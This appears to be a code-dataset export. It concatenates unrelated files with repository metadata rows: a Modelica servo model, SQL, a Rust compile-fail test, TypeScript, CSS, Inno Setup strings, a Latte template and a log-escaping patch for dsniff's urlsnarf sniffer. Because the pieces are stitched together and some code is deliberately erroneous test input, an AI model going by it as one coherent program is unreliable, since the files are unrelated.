points={{-30,40},{-60,50},{-60,30},{-30,40}},
lineColor={0,0,255},
fillColor={0,0,255},
fillPattern=FillPattern.Solid),
Line(points={{-31,-41},{-78,-41},{-78,39},{-30,39}}),
Rectangle(
extent={{-30,-26},{30,-56}},
lineColor={0,0,255},
fillColor={255,255,255},
fillPattern=FillPattern.Solid),
Polygon(
points={{60,-32},{30,-42},{60,-52},{60,-32}},
lineColor={0,0,255},
fillColor={0,0,255},
fillPattern=FillPattern.Solid),
Line(points={{30,39},{76,39},{76,-41},{30,-41}}),
Text(
extent={{-150,150},{150,110}},
textString="%name",
lineColor={0,0,255},
fontSize=0)}),
conversion(noneFromVersion=""));
end SpeedController;
model Servo "Drehzahlgeregelter Motor mit Getriebe"
extends Modelica.Electrical.Machines.Icons.TransientMachine;
Modelica.Blocks.Interfaces.RealInput refSpeed "Reference speed of load" annotation (Placement(
transformation(extent={{-140,-20},{-100,20}}, rotation=0)));
Modelica.Mechanics.Rotational.Interfaces.Flange_b flange_b annotation (Placement(
transformation(extent={{90,-10},{110,10}}, rotation=0)));
parameter Real ks "Verstaerkung vom PI Geschwindigkeitsregler";
parameter Modelica.SIunits.Time Ts "Zeitkonstante vom PI Geschwindigkeitsregler";
parameter Real km=30 "Verstaerkung vom PI Motorregler";
parameter Modelica.SIunits.Time Tm=0.005 "Zeitkonstante vom PI Motorregler";
parameter Real ratio=105 "Getriebeuebersetzung";
ServoSystem.ControlledMotor motor(km=km, Tm=Tm) annotation (Placement(
transformation(extent={{-20,-10},{0,10}}, rotation=0)));
SpeedController speedController(
ks=ks,
Ts=Ts,
ratio=ratio) annotation (Placement(transformation(extent={{-70,-10},{-50,10}},
rotation=0)));
Gear gear(ratio=ratio) annotation (Placement(transformation(extent={{30,-10},
{50,10}}, rotation=0)));
Modelica.Blocks.Math.Feedback speedError
annotation (Placement(transformation(extent={{-40,40},{-20,60}}, rotation=
0)));
Modelica.Mechanics.Rotational.Sensors.SpeedSensor speedSensor2
annotation (Placement(transformation(
origin={70,20},
extent={{-10,-10},{10,10}},
rotation=90)));
Modelica.Mechanics.Rotational.Sensors.SpeedSensor speedSensor1
annotation (Placement(transformation(
origin={10,-20},
extent={{-10,-10},{10,10}},
rotation=270)));
equation
connect(speedSensor2.w, speedError.u2)
annotation (Line(points={{70,31},{70,34},{-30,34},{-30,42}}, color={0,0,
127}));
connect(refSpeed, speedController.refSpeed)
annotation (Line(points={{-120,0},{-72,0}}, color={0,0,127}));
connect(speedController.refCurrent, motor.refCurrent)
annotation (Line(points={{-49,0},{-22,0}}, color={0,0,127}));
connect(speedError.u1, refSpeed)
annotation (Line(points={{-38,50},{-90,50},{-90,0},{-120,0}}, color={0,0,
127}));
connect(motor.flange,speedSensor1.flange) annotation (Line(points={{0,0},
{10,0},{10,-10}}, color={0,0,0}));
connect(speedSensor1.w, speedController.motorSpeed) annotation (Line(points=
{{10,-31},{10,-40},{-60,-40},{-60,-12}}, color={0,0,127}));
connect(motor.flange, gear.flange_a)
annotation (Line(points={{0,0},{30,0}}, color={0,0,0}));
connect(gear.flange_b, flange_b)
annotation (Line(points={{50,0},{100,0}}, color={0,0,0}));
connect(gear.flange_b, speedSensor2.flange)
annotation (Line(points={{50,0},{70,0},{70,10}}, color={0,0,0}));
annotation (
Icon(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={1,1}), graphics={
Text(
extent={{-150,120},{150,80}},
textString="%name",
lineColor={0,0,255}),
Text(
extent={{-150,-110},{150,-150}},
lineColor={0,0,0},
textString="ks=%ks, Ts=%Ts"),
Rectangle(
extent={{-100,10},{-60,-10}},
fillPattern=FillPattern.HorizontalCylinder,
fillColor={95,95,95})}),
Diagram(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={1,1}), graphics));
end Servo;
model Test "Test to tune speed controller"
import SI = Modelica.SIunits;
extends Modelica.Icons.Example;
parameter Real ks = 0.8 "Verstaerkung vom PI Geschwindigkeitsregler";
parameter SI.Time Ts= 0.08 "Zeitkonstante vom PI Geschwindigkeitsregler";
Servo servo(ks=ks, Ts=Ts) annotation (Placement(transformation(extent={{-20,
0},{0,20}}, rotation=0)));
Modelica.Mechanics.Rotational.Components.Inertia load(J=170)
"J=50..170 kgm^2" annotation (Placement(transformation(extent={{20,0},{40,
20}}, rotation=0)));
Modelica.Blocks.Sources.Ramp ramp(duration=1.18, height=2.95)
annotation (Placement(transformation(extent={{-60,0},{-40,20}}, rotation=
0)));
equation
connect(ramp.y, servo.refSpeed)
annotation (Line(points={{-39,10},{-22,10}}, color={0,0,127}));
connect(servo.flange_b, load.flange_a)
annotation (Line(points={{0,10},{20,10}}, color={0,0,0}));
annotation (
Diagram(coordinateSystem(
preserveAspectRatio=false,
extent={{-100,-100},{100,100}},
grid={2,2}), graphics),
experiment(StopTime=2),
__Dymola_Commands(file="Scripts/plot load.w, speedError1.mos"
"plot load.w, speedError", file="Scripts/plot current1.mos"
"plot current"));
end Test;
annotation (uses(Modelica(version="3.2.3")));
end ServoSystem;
| Modelica | 5 | vishalbelsare/Modia.jl | examples/ServoSystem.mo | [
"MIT"
] |
CREATE TABLE `bigint`(
`id` BIGINT NOT NULL PRIMARY KEY
);
| SQL | 3 | cuishuang/tidb | br/tests/lightning_various_types/data/vt.bigint-schema.sql | [
"Apache-2.0"
] |
// edition:2018
async fn free(); //~ ERROR without a body
struct A;
impl A {
async fn inherent(); //~ ERROR without body
}
trait B {
async fn associated();
//~^ ERROR cannot be declared `async`
}
impl B for A {
async fn associated(); //~ ERROR without body
//~^ ERROR cannot be declared `async`
//~| ERROR incompatible type for trait
}
fn main() {}
| Rust | 2 | Eric-Arellano/rust | src/test/ui/resolve/issue-70736-async-fn-no-body-def-collector.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
export const empty = Object.freeze([]);
export function equals<T>(
a: ReadonlyArray<T>,
b: ReadonlyArray<T>,
itemEquals: (a: T, b: T) => boolean = (a, b) => a === b
): boolean {
if (a === b) {
return true;
}
if (a.length !== b.length) {
return false;
}
return a.every((x, i) => itemEquals(x, b[i]));
}
export function coalesce<T>(array: ReadonlyArray<T | undefined>): T[] {
return <T[]>array.filter(e => !!e);
}
| TypeScript | 4 | sbj42/vscode | extensions/typescript-language-features/src/utils/arrays.ts | [
"MIT"
] |
$$ MODE TUSCRIPT
text="http://foo bar/"
BUILD S_TABLE spez_char="::>/:</::<%:"
spez_char=STRINGS (text,spez_char)
LOOP/CLEAR c=spez_char
c=ENCODE(c,hex),c=concat("%",c),spez_char=APPEND(spez_char,c)
ENDLOOP
url_encoded=SUBSTITUTE(text,spez_char,0,0,spez_char)
print "text: ", text
PRINT "encoded: ", url_encoded
| Turing | 2 | LaudateCorpus1/RosettaCodeData | Task/URL-encoding/TUSCRIPT/url-encoding.tu | [
"Info-ZIP"
] |
package gw.specContrib.enhancements
uses java.time.LocalDate
uses gw.specContrib.classes.property_Declarations.new_syntax.MyMethodAnno
enhancement ReceiverTestClassEnh : ReceiverTestClass
{
@MyMethodAnno(1)
@receiver:MyReceiverAnno( LocalDate )
function good_enhFunc() : String {
return "nonstatic"
}
function errant_enhFuncNoAnno() : String {
return "nonstatic"
}
} | Gosu | 3 | dmcreyno/gosu-lang | gosu-test/src/test/gosu/gw/specContrib/enhancements/ReceiverTestClassEnh.gsx | [
"Apache-2.0"
] |
asdasldaskdhjkashdahsdkjahskdjhakjsdkjahsdhkasdhkajsdhakjsdhkajsdhjkahskjdkjahsjkdjkakjsdm,
asdasldaskdhjkashdahsdkjahskdjhakjsdkjahsdhkasdhkajsdhakjsdhkajsdhjkahskjdkjahsjkdjkakjsdm, {
}
.some-class, {
&.another-class, {
color: red;
}
}
| CSS | 0 | fuelingtheweb/prettier | tests/css_trailing_comma/selector_list.css | [
"MIT"
] |
[CustomMessages]
ru.IDP_FormCaption =Скачивание дополнительных файлов
ru.IDP_FormDescription =Пожалуйста подождите, пока инсталлятор скачает дополнительные файлы...
ru.IDP_TotalProgress =Общий прогресс
ru.IDP_CurrentFile =Текущий файл
ru.IDP_File =Файл:
ru.IDP_Speed =Скорость:
ru.IDP_Status =Состояние:
ru.IDP_ElapsedTime =Прошло времени:
ru.IDP_RemainingTime =Осталось времени:
ru.IDP_DetailsButton =Подробно
ru.IDP_HideButton =Скрыть
ru.IDP_RetryButton =Повтор
ru.IDP_IgnoreButton =Пропустить
ru.IDP_KBs =КБ/с
ru.IDP_MBs =МБ/с
ru.IDP_X_of_X =%.2f из %.2f
ru.IDP_KB =КБ
ru.IDP_MB =МБ
ru.IDP_GB =ГБ
ru.IDP_Initializing =Инициализация...
ru.IDP_GettingFileInformation=Получение информации о файле...
ru.IDP_StartingDownload =Начало загрузки...
ru.IDP_Connecting =Соединение...
ru.IDP_Downloading =Загрузка...
ru.IDP_DownloadComplete =Загрузка завершена
ru.IDP_DownloadFailed =Загрузка не удалась
ru.IDP_CannotConnect =Невозможно соединиться
ru.IDP_CancellingDownload =Отмена загрузки...
ru.IDP_Unknown =Неизвестно
ru.IDP_DownloadCancelled =Загрузка отменена
ru.IDP_RetryNext =Проверьте ваше подключение к сети Интернет и нажмите 'Повторить' чтобы начать скачивание заново, или нажмите 'Далее' для продолжения установки.
ru.IDP_RetryCancel =Проверьте ваше подключение к сети Интернет и нажмите 'Повторить' чтобы начать скачивание заново, или нажмите 'Отмена' чтобы прервать установку.
ru.IDP_FilesNotDownloaded =Не удалось загрузить следующие файлы:
ru.IDP_HTTPError_X =Ошибка HTTP %d
ru.IDP_400 =Неверный запрос (400)
ru.IDP_401 =Доступ запрещен (401)
ru.IDP_404 =Файл не найден (404)
ru.IDP_407 =Необходима авторизация прокси (407)
ru.IDP_500 =Внутренняя ошибка сервера (500)
ru.IDP_502 =Неправильный шлюз (502)
ru.IDP_503 =Сервер временно недоступен (503)
| Inno Setup | 2 | lemalcs/Inno-download-plugin | unicode/idplang/russian.iss | [
"Zlib"
] |
{layout '@layout.latte'}
{block title}Interface {$interface->getName()}{/block}
{block breadcrumbs}
{include "partial/breadcrumbs.latte",
"type" => "Interface",
"namespace" => $interface->getNamespaceName(),
"name" => $interface->getShortName()
}
{/block}
{block content}
<h1 n:class="$interface->isDeprecated() ? deprecated">{$interface->getShortName()}</h1>
{if $interface->getDescription()}
<div class="panel panel-default">
<div class="panel-body">
{$interface|description}
</div>
</div>
{/if}
{if $interface->getOwnInterfaces()}
<dl class="tree">
<dd>
implements
{foreach $interface->getOwnInterfaces() as $ownInterface}
<a href="{$ownInterface|linkReflection}" n:class="$ownInterface->isDeprecated() ? deprecated">{$ownInterface->getName()}</a>{sep}, {/sep}
{/foreach}
</dd>
</dl>
{/if}
{if $interface->getImplementers()}
<div>
<h2>Known implementers</h2>
<p>
{foreach $interface->getImplementers() as $implementer}
<a href="{$implementer|linkReflection}" n:class="$implementer->isDeprecated() ? deprecated">
{$implementer->getName()}
</a>{sep}, {/sep}
{/foreach}
</p>
</div>
{/if}
<div class="info">
{foreach $interface->getAnnotations() as $annotation}
{$annotation|annotation:$interface|noescape}<br>
{/foreach}
{if $interface->getFilename()}
<a href="{$interface|linkSource}" class="open-source-code">Open source code</a>
{/if}
<br>
</div>
{if $interface->getOwnMethods()}
<table class="summary table table-responsive table-bordered table-striped" id="methods">
<tr><th colspan="3">Methods Summary</th></tr>
{foreach $interface->getOwnMethods() as $method}
{include "partial/method.latte", "method" => $method, "isInterface" => true}
{/foreach}
</table>
{/if}
{if $interface->getOwnConstants()}
<table class="summary table table-bordered table-responsive table-striped" id="constants">
<tr><th colspan="3">Constants Summary</th></tr>
{foreach $interface->getOwnConstants() as $constant}
{include "partial/constant.latte", constant => $constant}
{/foreach}
</table>
{/if}
{foreach $interface->getInterfaces() as $parentInterface}
{if $parentInterface->getOwnConstants()}
<table class="summary table table-responsive table-bordered table-striped">
<tr><th>
Constants inherited from <a href="{$parentInterface|linkReflection}#constants">{$parentInterface->getName()}</a>
</th></tr>
<tr>
{include "partial/parentConstant.latte", parentClassOrInterface => $parentInterface}
</tr>
</table>
{/if}
{/foreach}
{/block}
| Latte | 4 | pujak17/tets | packages/ThemeDefault/src/interface.latte | [
"MIT"
] |
#! /bin/sh /usr/share/dpatch/dpatch-run
## 10_urlsnarf_escape.dpatch by Hilko Bengen <[email protected]>
##
## DP: Escape user, vhost, uri, referer, agent strings in log (Closes: #372536).
@DPATCH@
--- dsniff-2.4b1+debian~/urlsnarf.c 2006-11-27 17:09:54.000000000 +0100
+++ dsniff-2.4b1+debian/urlsnarf.c 2006-11-27 17:08:41.000000000 +0100
@@ -84,6 +84,43 @@
return (tstr);
}
+static char *
+escape_log_entry(char *string)
+{
+ char *out;
+ unsigned char *c, *o;
+ size_t len;
+
+ if (!string)
+ return NULL;
+
+ /* Determine needed length */
+ for (c = string, len = 0; *c; c++) {
+ if ((*c < 32) || (*c >= 128))
+ len += 4;
+ else if ((*c == '"') || (*c =='\\'))
+ len += 2;
+ else
+ len++;
+ }
+ out = malloc(len+1);
+ if (!out)
+ return NULL;
+ for (c = string, o = out; *c; c++, o++) {
+ if ((*c < 32) || (*c >= 128)) {
+ snprintf(o, 5, "\\x%02x", *c);
+ o += 3;
+ } else if ((*c == '"') || ((*c =='\\'))) {
+ *(o++) = '\\';
+ *o = *c;
+ } else {
+ *o = *c;
+ }
+ }
+ out[len]='\0';
+ return out;
+}
+
static int
process_http_request(struct tuple4 *addr, u_char *data, int len)
{
@@ -142,18 +179,26 @@
buf_tok(NULL, NULL, i);
}
}
- if (user == NULL)
- user = "-";
- if (vhost == NULL)
- vhost = libnet_addr2name4(addr->daddr, Opt_dns);
- if (referer == NULL)
- referer = "-";
- if (agent == NULL)
- agent = "-";
-
+ user = escape_log_entry(user);
+ vhost = escape_log_entry(vhost);
+ uri = escape_log_entry(uri);
+ referer = escape_log_entry(referer);
+ agent = escape_log_entry(agent);
+
printf("%s - %s [%s] \"%s http://%s%s\" - - \"%s\" \"%s\"\n",
libnet_addr2name4(addr->saddr, Opt_dns),
- user, timestamp(), req, vhost, uri, referer, agent);
+ (user?user:"-"),
+ timestamp(), req,
+ (vhost?vhost:libnet_addr2name4(addr->daddr, Opt_dns)),
+ uri,
+ (referer?referer:"-"),
+ (agent?agent:"-"));
+
+ free(user);
+ free(vhost);
+ free(uri);
+ free(referer);
+ free(agent);
}
fflush(stdout);
| Darcs Patch | 4 | acheong08/dsniff | debian/patches/10_urlsnarf_escape.dpatch | [
"BSD-3-Clause"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.